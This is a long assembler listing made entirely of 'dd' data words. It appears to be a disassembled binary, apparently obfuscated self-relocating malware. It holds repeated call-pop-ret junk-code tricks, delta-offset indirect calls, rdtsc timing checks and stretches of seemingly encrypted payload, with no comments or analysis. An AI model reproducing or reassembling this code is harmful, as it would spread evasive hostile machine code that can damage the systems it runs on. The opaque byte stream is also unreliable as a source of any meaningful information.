		dd 3489CE44h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 79184C21h, 31006521h, 0EAB5FF65h
		dd 0FF0617A7h, 14230995h, 95853106h, 8306140Ch,	141189BDh
		dd 840F0006h, 1Bh, 68C0Fh, 85090000h, 6140085h,	89D98B50h
		dd 0B70F2434h, 4D9D8BD8h, 0FF06142Ah, 17A7EAB5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 1AB31D96h, 0D595FFF9h, 6A061402h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 12ADC350h
		dd 0F781A626h, 3D3BCD75h, 12E9h, 3CB83B00h, 7DA6EDEBh
		dd 0F99C8168h, 263002CEh, 0FFD542D4h, 17A7EAB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0D4CFF2D2h, 31936EA5h, 0BB663796h, 95FF0A78h, 6140B75h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 4C35343h
		dd 51836600h, 2DBD835Bh, 2061411h, 62840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0B383B5C3h, 55858B5Ch, 6A061400h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 1B1FC351h
		dd 3A779671h, 0EF2378D9h, 0F8B70FF8h, 0E90000C6h, 0Ch
		dd 69634BBCh, 0FE41F5E3h, 86D014EFh, 1E4985C7h,	614h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0F6B0D0C3h, 68EC6B3Bh, 945BD31h, 8F0F0614h, 3, 0E9FFB70Fh
		dd 0FFFFF290h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0ECC35747h, 9589B755h, 61401C1h, 72D8D89h, 0C18B0614h
		dd 791858Dh, 8B600614h,	14346585h, 0B7FC6006h, 50616133h
		dd 89F88B66h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 3EC9B1C3h, 6A5FDF79h, 15952900h
		dd 6A061419h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 9FFBB422h, 256E1F88h, 858DEBFEh
		dd 619382Fh, 0C083DA8Ah, 50006A05h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0A58D8980h, 90061425h
		dd 0B5ACC6BBh, 0B960501Bh, 180D5F5Ch, 10BA6652h, 90615E5Eh
		dd 12800Fh, 0DE90000h, 54000000h, 3BCAA122h, 2E8BB10Fh
		dd 4623C141h, 8589006Ah, 61409DDh, 9D01006Ah, 6141B79h
		dd 1B1995FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 254001C3h, 0EE9h, 0D2A96900h, 3034CAE0h
		dd 5B3A6938h, 8DE412EBh, 17A7788Dh, 0CB816606h,	8B66C8ACh
		dd 0BFD1FFDFh, 5E26E69Eh, 1CDBD83h, 0F010614h, 0AA85h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 97C62341h, 6695C29Eh, 0D425CB81h, 6A026Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0D50490C3h, 7EECC100h, 0F522D51Eh, 0DA8B6690h, 50606050h
		dd 5A310F52h, 52506158h, 9E8h, 0CBFA9B00h, 305E1AE6h, 0F5B2522h
		dd 5AD98A31h, 66906158h, 0FFCC20BFh, 1433AD95h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E5B2985Dh, 1E4A8804h, 0CD8D89C9h, 0E9061407h, 0DAAh
		dd 0E8h, 0ED815D00h, 6193839h, 2C2D8589h, 6A0614h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0C0EAD8C3h, 8D9ADE86h, 178E4985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0BB0B8B7Ch
		dd 820F489Fh, 6, 9B59D03h, 8A900614h, 0F89050D9h, 35FF64h
		dd 0F000000h, 1080h, 7E800h, 0FFAD0000h, 0D81B6857h, 0D88B66A8h
		dd 2589645Bh, 0
		dd 2691BD8Bh, 85FF0614h, 6142DEDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0D1C35747h,	65A380BEh, 0F8BF0F7Ah
		dd 17E58D01h, 8B660614h, 8BFF6AFBh, 1430819Dh, 15B5FF06h
		dd 0FF06140Eh, 142A8995h, 14FE906h, 11E80000h, 0D3000000h
		dd 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h, 9E8h
		dd 61B76B00h, 8974E0DCh, 5B5F9B43h, 12E800B0h, 34000000h
		dd 278B586Dh, 0ED0B85D6h, 72A449C6h, 41AAE072h,	0F19D8925h
		dd 5B06140Ch, 0BF6670E6h, 9D897359h, 614085Dh, 895771E4h
		dd 1410B99Dh, 613C5F06h, 0EB830Fh, 0B5890000h, 614074Dh
		dd 66C8B60Fh, 0BA0357BFh, 6, 6810Fh, 8D890000h,	6140435h
		dd 0F60C18Bh, 0BB66F1BFh, 316139C5h, 1412ED95h,	4E8C106h
		dd 14E9h, 38872A00h, 0D5926D76h, 3825D80Eh, 0DFBAEF84h
		dd 0F222B716h, 0E2F766FFh, 0AE5BD8Bh, 0C82B0614h, 0FB93D381h
		dd 0D18B4DDBh, 86E9DE8Bh, 89000000h, 14166995h,	4C858B06h
		dd 0BF494755h, 4A56B63Ch, 6607C083h, 2BC9EB81h,	8900C083h
		dd 14027595h, 0FD03B06h, 1183h,	0FDB53100h, 0E9061406h
		dd 51h,	2405BD8Bh, 8D8B0614h, 0FFFFFFFFh, 2FDD9509h, 0B70F0614h
		dd 1E183F9h, 33840Fh, 83F90000h, 0FFFFFFA5h, 0BE8FEFFh
		dd 3E000000h, 0A8E82508h, 1C6C513Dh, 0F96050CBh, 2019589h
		dd 5B610614h, 554C9589h, 0BD8B4947h, 61433A9h, 0E9h, 0BB58D00h
		dd 0E90618ACh, 0Ch, 53D9F7C4h, 0ED90F2CDh, 319D0ADh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0F4AE7C3h, 95FFD9B7h, 6142971h, 0B982DB80h, 1037h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A3C35545h, 952957CAh
		dd 6140721h, 0DD8D895Bh, 83061418h, 9D8BFCE1h, 61412E1h
		dd 13E9h, 0AAB3AD00h, 35682132h, 9A3E780Eh, 0E31BA175h
		dd 274AA3EFh, 0DB8166FCh, 0B85459h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0CA6C350h, 0BA52496Ch, 0
		dd 1719D8Bh, 33AD0614h,	3E8D1C2h, 4E983D0h, 6AF475h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0A53FD1C3h, 9D8BA967h, 6140765h, 26159D8Bh, 6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 5FFAC7C3h, 0A99D8B98h, 0B3061424h, 880DBCh, 0AE80000h
		dd 0F8000000h, 0B08134C1h, 27DAFBD1h, 5595294Fh, 5F061402h
		dd 3075B529h, 958B0614h, 6142B69h, 7E960h, 6EC00000h, 0CA40A000h
		dd 3FFCB994h, 51617644h, 38F0Fh, 0EF800000h, 8D8B5F83h
		dd 6141055h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0ABC35747h, 534AC79Dh, 0DFB70FF4h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0DE85818h, 2D000000h,	5CDF407Bh
		dd 0AB36A654h, 6CECEFC6h, 5019D8Bh, 605B0614h, 1345B529h
		dd 958B0614h, 61415BDh,	4DBD8361h, 6140Fh, 72840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 81B758C3h, 0D1F70ADBh, 0B854h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 33F1ACC3h
		dd 118D0F78h, 0E8000000h, 5, 1FAEC082h,	0E59D2B34h, 5B061430h
		dd 4DFF8D8Dh, 0BD8B0614h, 61434A1h, 0BD89E1FFh,	6140D7Dh
		dd 13DBD83h, 0F000614h,	3F584h,	399D8B00h, 83061426h, 14013DBDh
		dd 840F0106h, 3FDh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 4C35242h, 3ADBCCE0h, 0B95100C5h, 3DBD8390h
		dd 3061401h, 395860Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 3B2DF8C3h, 0B2E4A38h
		dd 142085BDh, 0B9858906h, 60061420h, 12E8h, 0AC15BA00h
		dd 453A5B8Bh, 0E17DC95Eh, 12DCABF4h, 5FCE605Fh,	6AD98C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0E35AC351h, 1A962ADCh, 4E180AEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 8AC35343h, 0A572C9DDh
		dd 4CCB8166h, 0FC90AEBh, 16C84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 35BC0909h
		dd 299BB94Ah, 14099D95h, 35858B06h, 6A06140Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 4C4CC357h, 0BBB96660h, 61CA8BCEh, 6A98533h, 0DF800614h
		dd 8D0F9051h, 5, 0EA6389BBh, 4EBF5035h,	90418F96h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 16C35141h, 0F88B66DFh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 31B9E0C3h, 36410DCh, 1423BD9Dh, 4E806h, 3FF0000h
		dd 0D88B001Fh, 8BDF8B50h, 50042444h, 0E9008B5Fh, 0Ch, 8F98B052h
		dd 0C6EAAE65h, 0DCE0F448h, 4244489h, 0BE8h, 0B0702B00h
		dd 0B730F956h, 5E3DAF0Ch, 5BFA8B66h, 9DBD2B58h,	0FF06140Ah
		dd 14089D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0E5973316h, 6E96617h, 0A8000000h
		dd 53CBDD2Ch, 0FAB70FE7h, 0A7EA8589h, 6A0617h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8D8975C3h, 6140239h,	79DBD8Bh, 29E90614h, 8B000001h
		dd 14317D9Dh, 0E2858B06h, 6A0617A7h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 163C356h
		dd 141E8585h, 1800C706h, 0E9000000h, 10h, 0C1284E6Ch, 20B84F44h
		dd 0DD983E86h, 6261455Fh, 0A7E6B58Bh, 0EB800617h, 81858B62h
		dd 0F061402h, 28Eh, 89F98B00h, 798D8906h, 8B061425h, 140E3585h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 5A6E3A9Ah, 8D0FDFEDh, 4,	0D676BF66h, 8B044689h
		dd 141B9D9Dh, 0EE95006h, 6B000000h, 767A3BAh, 7C6BAB21h
		dd 1B886B37h, 24348938h, 2DBD01h, 0B5FF0614h, 617A7E2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F8C35242h
		dd 6185315Fh, 68061431h, 0DEDA789Ah, 0A5EAEEBFh, 2404811Ah
		dd 21448B65h, 0FB18529h, 8D890614h, 6142BA1h, 0A7EA858Dh
		dd 8D890617h, 61412A1h,	8957B350h, 0CB812404h, 11B4C586h
		dd 89D95FFh, 0BD890614h, 6141059h, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0EE29ACD3h
		dd 0AC2A32FDh, 0D3806136h, 3D85C76Fh, 3061401h,	83000000h
		dd 17A7EABDh, 840F0006h, 2Bh, 3FE9FC8Ah, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0B227C357h, 0B7E72C2Ah, 50FA8B66h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D82BDEC3h
		dd 6A223FD8h, 51EC7F13h, 7A19D03h, 8B5B0614h, 1410AD9Dh
		dd 3DBD8306h, 3061401h,	45C850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F0CAD4C3h
		dd 8ECD974Bh, 0BD89C336h, 6140481h, 0A7EABD83h,	0F000617h
		dd 42584h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 64F17773h, 0E0126F03h, 0BE8CE0Ah
		dd 35000000h, 0C7862BACh, 3078802Dh, 9501233Ch,	6140AE1h
		dd 0EAB5FF5Fh, 30617A7h, 140EBD9Dh, 3995FF06h, 6A061403h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0FE47C356h, 0EC9E1995h, 7E9472Dh,	24000000h
		dd 0DA7DB862h, 0BB666F09h, 0B58BB808h, 617A7DEh, 6C7FB8Bh
		dd 10001h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	8AC35040h, 8589A517h, 61423C9h,	0C5EFBB96h, 605036F0h
		dd 5250F38Bh, 5250310Fh, 585A310Fh, 9661585Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 53C35545h, 5800FD9h
		dd 0BF000000h, 277568D0h, 0A7EAB5FFh, 0FFF50617h, 14108195h
		dd 0E5958906h, 8B061409h, 17A7DEB5h, 0F9858B06h, 8B06140Fh
		dd 140F1DBDh, 0C4868906h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9624C351h
		dd 8BCC1B6Ch, 142B6995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 40F4E831h, 993B2CDEh
		dd 11E9h, 73637500h, 91435F2Bh,	9457BB83h, 48AD956Ah, 0C283B165h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 4DBD2BDCh, 89061400h, 6A2050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0F0FBF7C3h
		dd 1A8D7A92h, 0BC23858Dh, 870F0617h, 0Fh, 0AE9h, 6535F900h
		dd 0D11384DCh, 9886214h, 14254DB5h, 0B8868906h,	0F000000h
		dd 684h, 6FDB8100h, 6A28317Eh, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 538BC46Bh
		dd 277DDFA7h, 0D88BA2A8h, 0A7EAB5FFh, 9D8B0617h, 6142AB9h
		dd 33AD95FFh, 0BF0F0614h, 0E85096D8h, 10h, 5BD74A33h, 66F1A996h
		dd 0F40401E2h, 6AD8FD4Ch, 92CEBF52h, 5F5F3DA0h,	52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0C8D0F3Dh, 0F000000h, 683h, 8B0F00h,	31000000h, 141CCD8Dh
		dd 0EAB5FF06h, 6A0617A7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0A72AC350h,	2A763F0Ch
		dd 0BD8B8848h, 614130Dh, 7E8h, 468A1B00h, 697FE39h, 12259D8Bh
		dd 0FF5F0614h, 14230995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F9D954F5h
		dd 2959D8Bh, 0BD830614h, 6141189h, 2A840F00h, 0BF000000h
		dd 5847BD37h, 7BF6650h,	24348993h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 9AC35040h, 0EAB5FFA0h, 6A0617A7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F98AC350h, 2D595FFh, 9D8B0614h, 6141705h
		dd 0A7EAB5FFh, 85890617h, 6141059h, 0B7595FFh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 4852EFC3h, 9D8BB4C0h, 61422F1h, 3870Fh, 8B660000h, 0BD83F9DFh
		dd 614112Dh, 6A840F02h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0F93BC357h
		dd 0FB685E3h, 84h, 0F18D0100h, 8B061406h, 14005585h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0EEB14879h, 9888F2D5h, 0C64DF7h, 5E900h, 0FB030000h
		dd 8BB1277Ch, 141CE9BDh, 4985C706h, 6141Eh, 66000000h
		dd 6EE9FE8Bh, 6AFFFFF3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0DEAEC357h,	9589CD32h
		dd 6141E9Dh, 2BD1BD8Bh,	0C18B0614h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 84C35141h, 16C58D29h, 8D8D0614h
		dd 61946F1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0A0C35343h, 3D08260Ch, 11E9E071h, 8E000000h, 6628BD37h
		dd 0BA74FB3Bh, 0BE2D0DF6h, 2AFE0244h, 2B698D89h, 85890614h
		dd 61425BDh, 105585C7h,	73C40614h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0AB3E6BC3h
		dd 503F560Eh, 75B50368h, 0E906142Ch, 0Bh, 69689537h, 5D92254Ah
		dd 0C78DB270h, 14013D85h, 6, 13E900h, 8F90000h,	91792896h
		dd 975AB879h, 867FAD82h, 2C7F53A3h, 15B5FFEAh, 6A06140Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 9A01C352h, 6820FA6Eh, 0A1B5894Ah,	0FF061419h
		dd 140BD995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0DF81E92Ah, 7173D23Ch, 230DB589h
		dd 6A0614h, 297195FFh, 0C08B0614h, 71465FEBh, 2D2B69DBh
		dd 5497CCDCh, 0AFF823B3h, 63DB4349h, 8FBC7BF9h,	346C0959h
		dd 0FE295C82h, 49A9DE07h, 60021E75h, 4F16274Bh,	7A3E587Ah
		dd 0BBCD72A1h, 7F3250C9h, 9A895DB5h, 0A52A0566h, 906A21E4h
		dd 2941C635h, 1E310BE9h, 0AE9AC166h, 5A67C091h,	0F50B0D3Ch
		dd 73B32479h, 0A0A75E7Bh, 0FB8D8DA1h, 6A061947h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 8A97C356h, 2826ACBAh, 0CFC88169h, 897FF06Ah,	142B698Dh
		dd 0DD950B06h, 0C706140Bh, 14105585h, 712806h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0AFC87E0Eh, 6E8E959h, 0E6000000h, 197D7190h,	0B2B86636h
		dd 85C75E5Fh, 614013Dh,	0
		dd 68D0Fh, 8D890000h, 6142D5Dh,	2389B5FFh, 95890614h, 6142045h
		dd 0BD995FFh, 0D38B0614h, 95FF006Ah, 6142971h, 1CEBC08Bh
		dd 181AD098h, 31971FC7h, 3881ECF2h, 8D9E48A0h, 25083EF6h
		dd 513DA8E8h, 50CB1C6Ch, 7AC1D6Ch, 88271206h, 152383BEh
		dd 0D9AB7487h, 1270628h, 55E09560h, 0EE90CB93h,	7943CA4Fh
		dd 4067EF08h, 56C4D65h,	0A97CEBA5h, 81A31D85h, 802712C1h
		dd 634B0BABh, 12AFB16h,	2E6C1218h, 2D842BD9h, 6A878308h
		dd 82C0AE90h, 15273B3Ch, 852812C6h, 127124Fh, 12644D9h
		dd 53277818h, 12711E4h,	0C27D3206h, 25739B59h, 25639385h
		dd 12707C4h, 0C2755060h, 0BE778D75h, 0E5A879Fh,	0ECBA9956h
		dd 91210604h, 12719EAh,	0A877B481h, 73B1A03Bh, 8E68C37Ch
		dd 589C7460h, 14D82E1h,	124FA5Fh, 5A071206h, 5DAE49C0h
		dd 45A616A5h, 13D16E4h,	52641260h, 539240F3h, 54D746BEh
		dd 12CE07BEh, 5A271206h, 11050FBCh, 49F9564Bh, 138770BCh
		dd 64A762BBh, 282649h, 0E8D93654h, 127120Ah, 31441670h
		dd 827F0F72h, 87283E41h, 12712C6h, 0B8C2F8E1h, 9AC0EDFh
		dd 49AC74E1h, 12FFBF0h,	0D9EE1206h, 0AC8FEA95h,	804123DCh
		dd 0ED824F9h, 12773E4h,	109A9B30h, 82210615h, 9C141BCDh
		dd 7330B8Bh, 0ECE2B83h,	1279004h, 40A23BC0h, 0E8210662h
		dd 1271220h, 8B9164BBh,	0CE01BF9Fh, 5AB9FC3Eh, 71F07B4Ch
		dd 2826530Ah, 15294B75h, 8AEF1166h, 15209BA5h, 4E6911Eh
		dd 1249103h, 0BE281206h, 911E93DAh, 0EAC51CAh, 1272C45h
		dd 0C7A67460h, 8CAAEE80h, 7335FE7h, 2AF69F85h, 29F1412h
		dd 0F4271203h, 14DF37Eh, 124FA91h, 58071260h, 4DAE4BF3h
		dd 45A6163Ch, 1301628h,	50661206h, 15749C0h, 0FC929B93h
		dd 602106EDh, 0E8FFAD6Fh, 1271235h, 0D1805CDDh,	1D9A9FDFh
		dd 8C210B4Eh, 186EEB8Eh, 8253AA87h, 84141352h, 7330939h
		dd 0E8E6DD1Bh, 7AC1D6Ch, 88271206h, 152383BEh, 0D9AB7487h
		dd 1270628h, 55E09560h,	5E98393h, 0C08BA4F3h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 29C35747h, 57006A21h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BA66EAD1h, 958B981Eh, 6140AADh, 8D8DC38Bh, 6194B24h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E4C35343h
		dd 820F3220h, 0Ch, 6860Fh, 95090000h, 6141B29h,	0B5D78166h
		dd 698D89C4h, 8B06142Bh, 1424BDBDh, 5585C706h, 54061410h
		dd 8B00006Dh, 141DB5BDh, 3D85C706h, 61401h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 8537C356h, 0E8C1652h, 0FEB70F31h,	0B5FFFB8Bh
		dd 61411C9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0A2C35646h, 0B70F2F22h,	7DB531D6h, 0FF061408h
		dd 140BD995h, 4BE6606h,	0FF006A97h, 14297195h, 0EBC08B06h
		dd 9376E61Fh, 0C20CFC19h, 759392ABh, 81C1AFA0h,	0CED18DBBh
		dd 0E0E78FAAh, 1F342789h, 8390887Ah, 6FCAD74h, 0B879A20Ah
		dd 4551B7Ah, 3136209h, 37A4A16h, 5C59A2A0h, 7FF0FD93h
		dd 47F8A60Ch, 36EA630h,	543EA20Ah, 0D39823C6h, 0EFC930Fh
		dd 807FB641h, 1769531Dh, 0A0CA256h, 0D5C1FABh, 7779A400h
		dd 882AF213h, 77A1AC5h,	86F0A282h, 56DBA58h, 0A42B3F2Dh
		dd 0D086A446h, 0BEFAFA73h, 56DAC31h, 536ED60Ah,	77A1A56h
		dd 86F0A282h, 56DBA58h,	0A7383F2Dh, 0D086A446h,	0DBF2FA73h
		dd 37B201Bh, 0F0F3A20Ah, 782B79BCh, 96EC2B86h, 887FB647h
		dd 5379C860h, 379A1B8h,	0C0218228h, 273D2B4Ch, 273D230Eh
		dd 379BE01h, 0C029E282h, 25AFB44Dh, 1D217802h, 46FC8B9Fh
		dd 657FB63Dh, 9E4A7A98h, 56DB917h, 8776A6ADh, 379A697h
		dd 37C2C4Eh, 821FA2A0h,	80EEFF9Bh, 17798B95h, 8776A212h
		dd 379A225h, 0EB2EA26Fh, 379A281h, 5CBAFD61h, 75DDE29h
		dd 75DE6D1h, 379A23Eh, 9FBAF553h, 0BE702C0Ah, 56D8838h
		dd 37A766Bh, 0EAF42941h, 0BD7FB682h, 1798550h, 8E086DA8h
		dd 14120491h, 5479C80Ch, 379A1EDh, 0C0268282h, 27052B1Eh
		dd 273D23A4h, 379B654h,	0C02EE528h, 0C9C6AD8Eh,	7E82F81h
		dd 0D386A411h, 0EB2AA2E8h, 379A242h, 58BAF980h,	75DFED9h
		dd 75DE6A9h, 379A20Eh, 5CBAF149h, 0F00254F5h, 0F4F87113h
		dd 87CA777h, 0DB83F2Bh,	881FA444h, 0CB927F7h, 3793790h
		dd 7AF48B0Ah, 827FB602h, 821FF5BAh, 29FCADBAh, 0EB79A2A0h
		dd 379A259h, 465100B4h,	25F6A150h, 0DAF2C453h, 7BF8C45Ah
		dd 0C7BA086h, 37AC7C5h,	12C42BA0h, 207FB67Bh, 1753B3BDh
		dd 3BF8C412h, 8676C296h, 379A24Bh, 0EB2CA2E8h, 379A242h
		dd 5EBAFF80h, 75DCED9h,	75DE6A9h, 379A203h, 59BAF74Fh
		dd 88D16757h, 17622F17h, 1012247h, 1CFCAD48h, 6579A250h
		dd 65603392h, 37FDA95h,	0CFCADA1h, 8879A205h, 714B4Ch
		dd 8E7AA241h, 56DB561h,	3C775DBh, 693FA329h, 91F514h, 2379A20Ah
		dd 8A26615Ah, 827D86FEh, 147D8605h, 4479A2A0h, 7D776107h
		dd 0B6F00DE0h, 56DA1E5h, 0E9C249B1h, 0A5FC2F68h, 8A7FB5E9h
		dd 176317C4h, 0EBA95DA6h, 379A256h, 5E43A1E9h, 0B6F0C37Ch
		dd 56DA9EFh, 0CB9275Ah,	37BD606h, 0D4F2C441h, 3E1F9A21h
		dd 8676A052h, 379A215h,	562013AFh, 501230Bh, 79269F63h
		dd 1F1268Dh, 313A241h, 37A4AF1h, 5A59A250h, 4FF0FBEBh
		dd 47F8A630h, 36CA62Eh,	5238A205h, 8896DC41h, 0BAEC298Eh
		dd 8A7FB6A7h, 176683C5h, 3BF8C42Eh, 8676C288h, 379A2C7h
		dd 0EB2BA26Fh, 379A281h, 59BAF861h, 75DF629h, 75DE6D1h
		dd 379A23Ch, 0E7BAF056h, 379B1E3h, 6D4FE105h, 3DADD05Ch
		dd 0BE2F2E1Fh, 18D3F051h, 0CD7B5642h, 0EB7BDAA8h, 3F6271Bh
		dd 313A20Ah, 37A4A50h, 5E59A282h, 6FF0FF82h, 47F8A684h
		dd 361A674h, 563CA228h,	92FCB6D7h, 0F0F946E7h, 7BF8C4E1h
		dd 0CB9A284h, 379C2C4h,	5279C8A0h, 379A1B8h, 0C0208228h
		dd 27352B4Dh, 273D230Eh, 379BB01h, 0C028E382h, 0D1E9D30Ch
		dd 10902A81h, 3979A250h, 81479222h, 79022D1Ah, 0A27E45F6h
		dd 5E32A470h, 0D4CE19CDh, 37807A8h, 5579C8A0h, 379A1B8h
		dd 0C0278228h, 270D2B4Ah, 273D230Eh, 379BA01h, 0C02FE482h
		dd 301D434Ch, 2791CDDh,	313DC51h, 37A4A7Bh, 5859A214h
		dd 5FF0F9C9h, 47F8A621h, 36DA6A6h, 503AA241h, 0D7F33963h
		dd 37A2F5Fh, 0D6F9A228h, 0A5FC2F6Dh, 0EA7FB561h, 379A20Dh
		dd 0D4FC88E7h, 9F51C13Dh, 313725Fh, 37A4A06h, 5D59A228h
		dd 77F0FCD7h, 47F8A62Eh, 365A621h, 553FA282h, 0F512F782h
		dd 0C7D397BCh, 0C3FCB3B8h, 39A2627h, 881FA214h,	0BEEC89F3h
		dd 837FB620h, 86764ABAh, 379A219h, 6012259h, 4EFCAD23h
		dd 6979A228h, 91F314h, 2379A20Ah, 8A20615Ch, 827D86CEh
		dd 1E7D8605h, 4279A2A0h, 0D3B16101h, 9C3D3382h,	61AC7C4Fh
		dd 507EDA8Ah, 3B5260Ah,	313A282h, 37A4A10h, 5A59A2A0h
		dd 4FF0FB93h, 47F8A60Ch, 36DA630h, 5238A20Ah, 5CCB40C6h
		dd 8C4123E4h, 6DFCAD44h, 8879A2A0h, 177433EDh, 501222Eh
		dd 5DFCAD7Ch, 6979A20Ah, 91F705h
		dd 2379A282h, 8A24611Ch, 827D86CCh, 1F7D8614h, 4679A228h
		dd 73336141h, 43FCFF93h, 82511B7Ch, 218E5D73h, 7BF8C477h
